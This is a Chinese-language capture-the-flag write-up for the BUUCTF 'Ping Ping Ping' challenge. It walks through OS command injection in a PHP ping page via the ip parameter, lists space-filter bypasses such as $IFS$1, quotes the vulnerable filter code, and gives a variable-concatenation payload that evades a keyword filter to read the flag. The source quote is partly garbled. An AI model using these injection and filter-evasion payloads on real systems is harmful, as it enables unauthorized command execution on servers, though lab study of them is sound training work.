BUUCTF-Web-[GXYCTF2019]Ping Ping Ping
打开题目环境,如下所示:
在域名后加?ip=127.0.0.1
测试
输入?ip=127.0.0.1|ls
测试是否存在命令执行漏洞
ls命令成功执行,直接构造payload读取flag.php文件
?ip=127.0.0.1|cat flag.php
发现存在过滤空格
通过搜索,发现绕过空格过滤主要有以下方法:
${IFS}替换
$IFS$1替换
${IFS替换
%20替换
<和<>重定向符替换
%09替换
挨个测试一下,发现第二个·$IFS$1
可以绕过,但是又提示以下内容,说明flag又被过滤了。
那看一下index.php内容
/?ip=
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
?>
发现好过符号都被过滤了,试下变量拼接,构造以下payload,在源码里发现flag
?ip=?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php;